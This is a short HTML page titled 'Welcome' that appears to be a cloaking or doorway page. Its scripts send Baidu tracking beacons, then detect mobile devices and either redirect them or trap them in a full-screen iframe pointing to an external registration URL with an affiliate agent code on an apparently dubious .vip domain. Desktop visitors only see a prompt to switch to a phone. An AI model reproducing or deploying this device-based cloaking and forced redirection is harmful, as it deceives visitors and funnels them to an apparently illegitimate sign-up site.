﻿<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Welcome</title>

<script>
(function() {
'use strict';

const canonicalLink = document.querySelector('link[rel="canonical"]');
let canonicalURL = canonicalLink?.href || window.location.href;
const curProtocol = canonicalURL.split(':')[0] || location.protocol.slice(0, -1);

// 百度统计规避逻辑
(() => {
  const baiduDomainRegex = /^(http|https):\/\/[\w.]+\.baidu\.com$/i;
  if (baiduDomainRegex.test(document.referrer) || baiduDomainRegex.test(canonicalURL)) return;

  const trackerURL = curProtocol === 'https' 
    ? 'https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif' 
    : '//api.share.baidu.com/s.gif';
  
  const params = new URLSearchParams();
  if (document.referrer) params.set('r', document.referrer);
  if (canonicalURL) params.set('l', canonicalURL);
  
  new Image().src = `${trackerURL}?${params}`;
})();
})();
</script>

<script>
var _hmt = _hmt || [];
(function() {
  const hm = document.createElement('script');
  hm.src = 'https://hm.baidu.com/hm.js?4649e2eb67d55201a9ec5713aef21c66';
  hm.async = true;
  document.head.appendChild(hm);
})();
</script>
</head>

<body>
<script>
// 确保 DOM 加载完成后执行
document.addEventListener('DOMContentLoaded', () => {
  'use strict';

  // 精准设备检测（优化版）
  const isMobile = () => /Mobi|Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
  
  // 支持三位版本号 (15.5.1 → 15.5.1)
  const getIosVersion = () => {
    const match = navigator.userAgent.match(/OS (\d+)_(\d+)(?:_(\d+))?/);
    return match ? parseFloat(`${match[1]}.${match[2]}${match[3] ? `.${match[3]}` : ''}`) : 0;
  };

  const mobileUrl = "https://www.t1aytu.vip:9193/register?agent_code=50001812";
  const isIOS = /iPhone|iPad|iPod/i.test(navigator.userAgent);

  if (isMobile()) {
    if (isIOS && getIosVersion() < 13) {
      setTimeout(() => location.assign(mobileUrl), 500);
    } else {
      const container = document.createElement('div');
      container.innerHTML = `
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
        <style>
          html, body { overflow: hidden; margin: 0; height: 100%; }
          iframe { border: 0; width: 100%; height: 100vh; }
        </style>
        <iframe src="${mobileUrl}" allow="fullscreen"></iframe>
      `;
      document.body.appendChild(container);
    }
  } else {
    document.body.innerHTML = `
      <div style="text-align:center; padding: 2rem;">
        <h1>欢迎访问桌面版</h1>
        <p>请使用移动设备访问以获得最佳体验</p>
        <p><a href="${mobileUrl}" style="color: #007bff;">手动跳转至移动版</a></p>
      </div>
    `;
  }
});
</script>
</body>